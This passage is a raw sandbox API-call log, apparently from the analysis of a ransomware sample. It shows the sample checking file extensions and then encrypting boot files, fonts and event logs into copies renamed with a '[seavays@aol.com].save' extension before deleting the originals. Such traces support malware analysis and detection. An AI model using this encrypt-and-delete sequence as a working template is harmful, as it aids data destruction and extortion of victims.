lpString2=".save") returned -1 [0058.460] lstrlenW (lpString="bootvhd.dll") returned 11 [0058.461] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0058.461] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=99744) returned 1 [0058.461] CloseHandle (hObject=0x2f8) returned 1 [0058.461] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0058.461] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0058.461] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.461] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0058.461] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0058.461] lstrlenW (lpString=".doc") returned 4 [0058.461] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0058.461] lstrlenW (lpString=".docx") returned 5 [0058.461] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0058.461] lstrlenW (lpString=".pdf") returned 4 [0058.461] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0058.461] lstrlenW (lpString=".xls") returned 4 [0058.461] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0058.461] lstrlenW (lpString=".xlsx") returned 5 [0058.461] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0058.461] lstrlenW (lpString=".ppt") returned 4 [0058.462] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0058.462] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0058.462] lstrlenW (lpString=".zip") returned 4 [0058.462] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0058.462] lstrlenW (lpString=".rar") returned 4 [0058.462] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0058.462] lstrlenW (lpString=".bz2") returned 4 [0058.462] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0058.462] lstrlenW (lpString=".7z") returned 3 [0058.462] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0058.462] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0058.462] lstrlenW (lpString=".dbf") returned 4 [0058.462] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0058.467] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[seavays@aol.com].save")) returned 0 [0058.469] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[seavays@aol.com].save")) returned 0 [0058.471] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[seavays@aol.com].save")) returned 0 [0058.472] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[seavays@aol.com].save")) returned 0 [0059.053] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0059.054] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.055] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0059.055] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0059.055] CreateFileW (lpFileName="C:\\BOOTNXT.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\bootnxt.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0059.057] GetLastError () returned 0x0 [0059.057] ReadFile (in: hFile=0x374, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x1, lpOverlapped=0x0) returned 1 [0059.059] WriteFile (in: hFile=0x2f4, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x10, lpOverlapped=0x0) returned 1 [0059.060] ReadFile (in: hFile=0x374, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0059.060] WriteFile (in: hFile=0x2f4, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xe2, lpOverlapped=0x0) returned 1 [0059.060] SetEndOfFile (hFile=0x2f4) returned 1 [0059.060] CloseHandle (hObject=0x2f4) returned 1 [0059.061] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0059.061] SetEndOfFile (hFile=0x374) returned 1 [0059.062] CloseHandle (hObject=0x374) returned 1 [0059.062] SetFileAttributesW (lpFileName="C:\\BOOTNXT.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x26) returned 1 [0059.062] DeleteFileW (lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 1 [0059.062] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0059.062] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0059.062] lstrlenW (lpString=".doc") returned 4 [0059.062] lstrcmpiW (lpString1=".doc", lpString2="TNXT") returned -1 [0059.062] lstrlenW (lpString=".docx") returned 5 [0059.063] lstrcmpiW (lpString1=".docx", lpString2="OTNXT") returned -1 [0059.063] lstrlenW (lpString=".pdf") returned 4 [0059.063] lstrcmpiW (lpString1=".pdf", lpString2="TNXT") returned -1 [0059.063] lstrlenW (lpString=".xls") returned 4 [0059.063] lstrcmpiW (lpString1=".xls", lpString2="TNXT") returned -1 [0059.063] lstrlenW (lpString=".xlsx") returned 5 [0059.063] lstrcmpiW (lpString1=".xlsx", lpString2="OTNXT") returned -1 [0059.063] lstrlenW (lpString=".ppt") returned 4 [0059.063] lstrcmpiW (lpString1=".ppt", lpString2="TNXT") returned -1 [0059.063] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0059.063] lstrlenW (lpString=".zip") returned 4 [0059.063] lstrcmpiW (lpString1=".zip", lpString2="TNXT") returned -1 [0059.063] lstrlenW (lpString=".rar") returned 4 [0059.063] lstrcmpiW (lpString1=".rar", lpString2="TNXT") returned -1 [0059.063] lstrlenW (lpString=".bz2") returned 4 [0059.063] lstrcmpiW (lpString1=".bz2", lpString2="TNXT") returned -1 [0059.063] lstrlenW (lpString=".7z") returned 3 [0059.063] lstrcmpiW (lpString1=".7z", lpString2="NXT") returned -1 [0059.063] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0059.063] lstrlenW (lpString=".dbf") returned 4 [0059.063] lstrcmpiW (lpString1=".dbf", lpString2="TNXT") returned -1 [0059.063] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0059.063] lstrlenW (lpString=".1cd") returned 4 [0059.063] lstrcmpiW (lpString1=".1cd", lpString2="TNXT") returned -1 [0059.063] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0059.063] lstrlenW (lpString=".jpg") returned 4 [0059.063] lstrcmpiW (lpString1=".jpg", lpString2="TNXT") returned -1 [0059.063] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0059.063] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0059.063] lstrlenW (lpString=".doc") returned 4 [0059.064] lstrcmpiW (lpString1=".doc", lpString2="TNXT") returned -1 [0059.064] lstrlenW (lpString=".docx") returned 5 [0059.064] lstrcmpiW (lpString1=".docx", lpString2="OTNXT") returned -1 [0059.064] lstrlenW (lpString=".pdf") returned 4 [0059.064] lstrcmpiW (lpString1=".pdf", lpString2="TNXT") returned -1 [0059.064] lstrlenW (lpString=".xls") returned 4 [0059.064] lstrcmpiW (lpString1=".xls", lpString2="TNXT") returned -1 [0059.064] lstrlenW (lpString=".xlsx") returned 5 [0059.064] lstrcmpiW (lpString1=".xlsx", lpString2="OTNXT") returned -1 [0059.064] lstrlenW (lpString=".ppt") returned 4 [0059.064] lstrcmpiW (lpString1=".ppt", lpString2="TNXT") returned -1 [0059.064] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0059.064] lstrlenW (lpString=".zip") returned 4 [0059.064] lstrcmpiW (lpString1=".zip", lpString2="TNXT") returned -1 [0059.064] lstrlenW (lpString=".rar") returned 4 [0059.064] lstrcmpiW (lpString1=".rar", lpString2="TNXT") returned -1 [0059.064] lstrlenW (lpString=".bz2") returned 4 [0059.064] lstrcmpiW (lpString1=".bz2", lpString2="TNXT") returned -1 [0059.064] lstrlenW (lpString=".7z") returned 3 [0059.064] lstrcmpiW (lpString1=".7z", lpString2="NXT") returned -1 [0059.064] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0059.064] lstrlenW (lpString=".dbf") returned 4 [0059.064] lstrcmpiW (lpString1=".dbf", lpString2="TNXT") returned -1 [0059.064] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0059.064] lstrlenW (lpString=".1cd") returned 4 [0059.064] lstrcmpiW (lpString1=".1cd", lpString2="TNXT") returned -1 [0059.064] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0059.064] lstrlenW (lpString=".jpg") returned 4 [0059.064] lstrcmpiW (lpString1=".jpg", lpString2="TNXT") returned -1 [0059.065] lstrcmpiW (lpString1=".sys", lpString2=".save") returned 1 [0059.065] lstrlenW (lpString="hiberfil.sys") returned 12 [0059.065] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.065] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0059.065] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0059.065] lstrlenW (lpString=".doc") returned 4 [0059.065] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0059.065] lstrlenW (lpString=".docx") returned 5 [0059.065] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0059.065] lstrlenW (lpString=".pdf") returned 4 [0059.065] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0059.065] lstrlenW (lpString=".xls") returned 4 [0059.065] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0059.065] lstrlenW (lpString=".xlsx") returned 5 [0059.065] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0059.065] lstrlenW (lpString=".ppt") returned 4 [0059.065] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0059.065] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0059.065] lstrlenW (lpString=".zip") returned 4 [0059.065] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0059.065] lstrlenW (lpString=".rar") returned 4 [0059.065] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0059.065] lstrlenW (lpString=".bz2") returned 4 [0059.065] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0059.066] lstrlenW (lpString=".7z") returned 3 [0059.066] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0059.066] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0059.066] lstrlenW (lpString=".dbf") returned 4 [0059.066] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0059.066] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0059.066] lstrlenW (lpString=".1cd") returned 4 [0059.066] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0059.066] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0059.066] lstrlenW (lpString=".jpg") returned 4 [0059.066] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0059.066] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0059.066] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0059.066] lstrlenW (lpString=".doc") returned 4 [0059.066] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0059.066] lstrlenW (lpString=".docx") returned 5 [0059.066] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0059.066] lstrlenW (lpString=".pdf") returned 4 [0059.066] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0059.066] lstrlenW (lpString=".xls") returned 4 [0059.066] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0059.066] lstrlenW (lpString=".xlsx") returned 5 [0059.066] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0059.066] lstrlenW (lpString=".ppt") returned 4 [0059.066] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0059.066] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0059.066] lstrlenW (lpString=".zip") returned 4 [0059.066] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0059.066] lstrlenW (lpString=".rar") returned 4 [0059.066] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0059.066] lstrlenW (lpString=".bz2") returned 4 [0059.067] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0059.067] lstrlenW (lpString=".7z") returned 3 [0059.067] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0059.067] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0059.067] lstrlenW (lpString=".dbf") returned 4 [0059.067] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0059.067] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0059.067] lstrlenW (lpString=".1cd") returned 4 [0059.067] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0059.067] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0059.067] lstrlenW (lpString=".jpg") returned 4 [0059.067] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0059.067] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0059.067] lstrlenW (lpString="Application.evtx") returned 16 [0059.067] CreateFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0059.069] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=69632) returned 1 [0059.069] CloseHandle (hObject=0x374) returned 1 [0059.069] GetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 0x20 [0059.070] GetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\application.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0059.070] CreateFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0059.070] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0059.070] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0059.070] CreateFileW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\application.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0059.070] GetLastError () returned 0x0 [0059.070] ReadFile (in: hFile=0x374, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x11000, lpOverlapped=0x0) returned 1 [0059.073] WriteFile (in: hFile=0x2f4, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x11010, lpOverlapped=0x0) returned 1 [0059.075] ReadFile (in: hFile=0x374, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0059.075] WriteFile (in: hFile=0x2f4, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xf4, lpOverlapped=0x0) returned 1 [0059.075] SetEndOfFile (hFile=0x2f4) returned 1 [0059.075] CloseHandle (hObject=0x2f4) returned 1 [0059.077] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0059.077] SetEndOfFile (hFile=0x374) returned 1 [0059.078] CloseHandle (hObject=0x374) returned 1 [0059.079] SetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0059.079] DeleteFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 1 [0059.079] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0059.079] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0059.079] lstrlenW (lpString=".doc") returned 4 [0059.079] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0059.079] lstrlenW (lpString=".docx") returned 5 [0059.079] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0059.079] lstrlenW (lpString=".pdf") returned 4 [0059.079] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0059.079] lstrlenW (lpString=".xls") returned 4 [0059.079] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0059.079] lstrlenW (lpString=".xlsx") returned 5 [0059.079] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0059.080] lstrlenW (lpString=".ppt") returned 4 [0059.080] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0059.080] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0059.080] lstrlenW (lpString=".zip") returned 4 [0059.080] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0059.080] lstrlenW (lpString=".rar") returned 4 [0059.080] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0059.080] lstrlenW (lpString=".bz2") returned 4 [0059.080] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0059.080] lstrlenW (lpString=".7z") returned 3 [0059.080] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0059.080] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0059.080] lstrlenW (lpString=".dbf") returned 4 [0059.080] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0059.080] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0059.779] lstrlenW (lpString=".1cd") returned 4 [0059.779] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0059.780] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0059.780] lstrlenW (lpString=".jpg") returned 4 [0059.780] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0059.780] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0059.780] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0059.780] lstrlenW (lpString=".doc") returned 4 [0059.780] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0059.780] lstrlenW (lpString=".docx") returned 5 [0059.780] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0059.780] lstrlenW (lpString=".pdf") returned 4 [0059.780] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0059.780] lstrlenW (lpString=".xls") returned 4 [0059.780] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0059.780] lstrlenW (lpString=".xlsx") returned 5 [0059.780] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0059.780] lstrlenW (lpString=".ppt") returned 4 [0059.780] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0059.780] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0059.780] lstrlenW (lpString=".zip") returned 4 [0059.780] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0059.780] lstrlenW (lpString=".rar") returned 4 [0059.780] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0059.780] lstrlenW (lpString=".bz2") returned 4 [0059.780] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0059.780] lstrlenW (lpString=".7z") returned 3 [0059.780] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0059.780] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0059.780] lstrlenW (lpString=".dbf") returned 4 [0059.780] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0059.780] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0059.780] lstrlenW (lpString=".1cd") returned 4 [0059.780] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0059.781] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24 [0059.781] lstrlenW (lpString=".jpg") returned 4 [0059.781] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0059.781] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0059.781] lstrlenW (lpString="Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 47 [0059.781] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0059.781] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=69632) returned 1 [0059.781] CloseHandle (hObject=0x370) returned 1 [0059.781] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 0x20 [0059.782] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0059.782] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0059.782] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0059.782] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0059.782] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0059.782] GetLastError () returned 0x0 [0059.782] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x11000, lpOverlapped=0x0) returned 1 [0059.787] WriteFile (in: hFile=0x2ec, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x11010, lpOverlapped=0x0) returned 1 [0059.789] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0059.789] WriteFile (in: hFile=0x2ec, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x132, lpOverlapped=0x0) returned 1 [0059.789] SetEndOfFile (hFile=0x2ec) returned 1 [0059.789] CloseHandle (hObject=0x2ec) returned 1 [0059.792] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0059.792] SetEndOfFile (hFile=0x370) returned 1 [0059.793] CloseHandle (hObject=0x370) returned 1 [0059.793] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0059.793] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 1 [0059.793] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0059.794] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0059.794] lstrlenW (lpString=".doc") returned 4 [0059.794] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0059.794] lstrlenW (lpString=".docx") returned 5 [0059.794] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0059.794] lstrlenW (lpString=".pdf") returned 4 [0059.794] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0059.794] lstrlenW (lpString=".xls") returned 4 [0059.794] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0059.794] lstrlenW 